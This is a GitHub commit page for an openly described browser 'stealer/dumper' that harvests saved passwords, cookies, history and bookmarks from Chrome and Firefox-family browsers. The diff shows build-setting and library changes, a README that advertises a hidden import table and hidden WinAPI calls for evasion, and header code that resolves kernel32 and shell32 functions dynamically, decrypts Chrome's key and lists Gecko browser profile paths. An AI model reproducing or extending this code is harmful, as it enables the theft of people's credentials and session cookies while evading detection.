Skip to content

Commit

Permalink
Merge pull request #7 from SaulBerrenson/Optimizations
Browse files Browse the repository at this point in the history
Optimizations
  • Loading branch information
SaulBerrenson authored Jul 25, 2021
2 parents ecec711 + 2ea17e8 commit 73a0e33
Show file tree
Hide file tree
Showing 21 changed files with 5,138 additions and 26,532 deletions.
17 changes: 16 additions & 1 deletion CmakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -8,15 +8,30 @@ include(cmake/CheckVariable.cmake)

set(CMAKE_CXX_STANDARD 14)

add_definitions(-DCJSON_HIDE_SYMBOLS)


if(MSVC)
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} /Zi /Ox /O1 /EHa")
set(CMAKE_CXX_FLAGS_RELEASE "/MT /GS /analyze- /W3 /Zc:wchar_t /Gm- /O1 /Ob1 /Zc:inline /fp:precise /errorReport:prompt /WX- /Zc:forScope /GR /Gd /Oy- /EHsc /nologo")
endif()

INCLUDE_DIRECTORIES(
miscs
includes
)


if (CMAKE_BUILD_TYPE MATCHES Debug)
message(" ")
message("CMAKE IN DEBUG MODE")
message(" ")
elseif(CMAKE_BUILD_TYPE MATCHES Release)
message(" ")
message("CMAKE IN RELEASE MODE")
message(" ")
endif ()


file(GLOB_RECURSE HEADERS_FILES "${CMAKE_CURRENT_SOURCE_DIR}/includes/*.h")

message(STATUS "===============================================================")
Expand Down
2 changes: 2 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,8 @@ Simple password/cookies/history/bookmarks stealer/dumper for chrome all version
- Hidden import table (hidden - shell32, functions from kernel32, bcrypt and etc.)
- Small size
- Full actions based on hidden winapi calls
- No dependencies (almost all code is c or mix c++ with minimal using)
- Added static linking for no dependencies.

--------------------------------------------------

Expand Down
6 changes: 5 additions & 1 deletion includes/ChromeDecryptor.h
Original file line number Diff line number Diff line change
@@ -1,5 +1,5 @@
#pragma once
#include <json.hpp>
#include <cJson.h>

#include "Forwards.h"
#include "IDecryptor.h"
Expand Down Expand Up @@ -28,6 +28,10 @@ class ChromeDecryptor : public IDecryptor

bool init_key_for_chrome_80(PBYTE pbKey, ULONG sizeKey);


cJSON* find_os_crypt_node(cJSON* input_node, const char* pattern);


BCRYPT_ALG_HANDLE m_hAlg;
BCRYPT_KEY_HANDLE m_hKey;
int m_password_size = 0;
Expand Down
30 changes: 15 additions & 15 deletions includes/FileOperations.h
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ namespace IO
{
inline bool is_exist_dir(String& dir)
{
const auto func_GetFileAttributesA = WinApiImport<f_GetFileAttributesA>::get_func("GetFileAttributesA", "Kernel32.dll");
const auto func_GetFileAttributesA = WinApiImport<f_GetFileAttributesA>::get("GetFileAttributesA", "Kernel32.dll");
DWORD dwAttr = func_GetFileAttributesA(dir.c_str());
if (dwAttr != 0xffffffff && (dwAttr & FILE_ATTRIBUTE_DIRECTORY)) { return true; }
return false;
Expand All @@ -14,8 +14,8 @@ namespace IO

inline bool is_file_exists(const std::string& file)
{
const auto func_FindFirstFile = WinApiImport<f_FindFirstFile>::get_func("FindFirstFile", "kernel32.dll");
const auto func_FindClose = WinApiImport<f_FindClose>::get_func("FindClose", "kernel32.dll");
const auto func_FindFirstFile = WinApiImport<f_FindFirstFile>::get("FindFirstFile", "kernel32.dll");
const auto func_FindClose = WinApiImport<f_FindClose>::get("FindClose", "kernel32.dll");

WIN32_FIND_DATA FindFileData;
HANDLE handle = func_FindFirstFile(file.c_str(), &FindFileData);
Expand All @@ -33,10 +33,10 @@ namespace IO
{
if(!is_file_exists(path_to_file)) return false;

const auto func_GetFileSize = WinApiImport<f_GetFileSize>::get_func("GetFileSize", "kernel32.dll");
const auto func_CreateFileA = WinApiImport<f_CreateFileA>::get_func("CreateFileA", "kernel32.dll");
const auto func_CloseHandle = WinApiImport<f_CloseHandle>::get_func("CloseHandle", "kernel32.dll");
const auto func_ReadFile = WinApiImport<f_ReadFile>::get_func("ReadFile", "kernel32.dll");
const auto func_GetFileSize = WinApiImport<f_GetFileSize>::get("GetFileSize", "kernel32.dll");
const auto func_CreateFileA = WinApiImport<f_CreateFileA>::get("CreateFileA", "kernel32.dll");
const auto func_CloseHandle = WinApiImport<f_CloseHandle>::get("CloseHandle", "kernel32.dll");
const auto func_ReadFile = WinApiImport<f_ReadFile>::get("ReadFile", "kernel32.dll");

auto hFile = func_CreateFileA(path_to_file.c_str(), GENERIC_READ, 0, 0, OPEN_ALWAYS, 0, 0);

Expand Down Expand Up @@ -71,7 +71,7 @@ namespace IO
{
try
{
const auto func_SHFileOperation = WinApiImport<f_SHFileOperation>::get_func("SHFileOperation", "shell32.dll");
const auto func_SHFileOperation = WinApiImport<f_SHFileOperation>::get("SHFileOperation", "shell32.dll");

SHFILEOPSTRUCT file_op = {
NULL,
Expand All @@ -96,9 +96,9 @@ namespace IO

inline void get_subdirs(List<String>& output, const String& path)
{
const auto func_GetFullPathName = WinApiImport<f_GetFullPathName>::get_func("GetFullPathName", "kernel32.dll");
const auto func_FindFirstFile = WinApiImport<f_FindFirstFile>::get_func("FindFirstFile", "kernel32.dll");
const auto func_FindNextFile = WinApiImport<f_FindNextFile>::get_func("FindNextFile", "kernel32.dll");
const auto func_GetFullPathName = WinApiImport<f_GetFullPathName>::get("GetFullPathName", "kernel32.dll");
const auto func_FindFirstFile = WinApiImport<f_FindFirstFile>::get("FindFirstFile", "kernel32.dll");
const auto func_FindNextFile = WinApiImport<f_FindNextFile>::get("FindNextFile", "kernel32.dll");


WIN32_FIND_DATA findfiledata;
Expand All @@ -125,21 +125,21 @@ namespace IO

inline bool create_directory_recursively(LPCTSTR path)
{
const auto func_SHCreateDirectoryEx = WinApiImport<f_SHCreateDirectoryEx>::get_func("SHCreateDirectoryEx", "shell32.dll");
const auto func_SHCreateDirectoryEx = WinApiImport<f_SHCreateDirectoryEx>::get("SHCreateDirectoryEx", "shell32.dll");
return func_SHCreateDirectoryEx(NULL, path, NULL) == ERROR_SUCCESS;
}


inline bool copy_file(const String& from, const String& to)
{
const auto func_CopyFileA = WinApiImport<f_CopyFileA>::get_func("CopyFileA", "kernel32.dll");
const auto func_CopyFileA = WinApiImport<f_CopyFileA>::get("CopyFileA", "kernel32.dll");
return func_CopyFileA(from.c_str(), to.c_str(), false);
}


inline String get_app_folder(int CSIDL_FLAG = CSIDL_APPDATA)
{
const auto get_user_path = WinApiImport<f_SHGetFolderPathA>::get_func("SHGetFolderPathA", "shell32.dll");
const auto get_user_path = WinApiImport<f_SHGetFolderPathA>::get("SHGetFolderPathA", "shell32.dll");

if (!get_user_path) return {};
char m_path_local_data[MAX_PATH];
Expand All @@ -151,7 +151,7 @@ namespace IO

inline String get_temp_folder()
{
const auto get_temp_folder = WinApiImport<f_GetTempPathA>::get_func("GetTempPathA", "kernel32.dll");
const auto get_temp_folder = WinApiImport<f_GetTempPathA>::get("GetTempPathA", "kernel32.dll");

char wcharPath[MAX_PATH];
if (get_temp_folder(MAX_PATH, wcharPath))
Expand Down
2 changes: 1 addition & 1 deletion includes/FireFoxCookiesParser.h
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
#pragma once
#include "Forwards.h"
#include "ICollector.h"
#include "iniparser.h"



class FireFoxCookiesParser : public ICollector<CookieData>
Expand Down
8 changes: 6 additions & 2 deletions includes/FireFoxParser.h
Original file line number Diff line number Diff line change
@@ -1,8 +1,9 @@
#pragma once
#include "ChromeParser.h"
#include "cJson.h"
#include "Forwards.h"
#include "ICollector.h"
#include "iniparser.h"



class FireFoxParser : public ICollector<AccountData>
Expand All @@ -21,7 +22,10 @@ class FireFoxParser : public ICollector<AccountData>
String get_mozilla_program_dir(const String& temp_dir);
List<AccountData> get_encrypted_data(const String& path_to_json);
bool prepare_imports(String profile_dir, String& out_temp_dir);


cJSON* find_logins_node(cJSON* input_node, const char* pattern);


const List<String> m_gecko_list{
R"(\Mozilla\Firefox)", R"(\Waterfox)", R"(\K-Meleon)", R"(\Thunderbird)", R"(\Comodo\IceDragon)",
R"(\8pecxstudios\Cyberfox)", R"(\NETGATE Technologies\BlackHaw)", R"(\Moonchild Productions\Pale Moon)"
Expand Down
135 changes: 0 additions & 135 deletions includes/RegEditHelper.h

This file was deleted.

Loading

0 comments on commit 73a0e33

Please sign in to comment.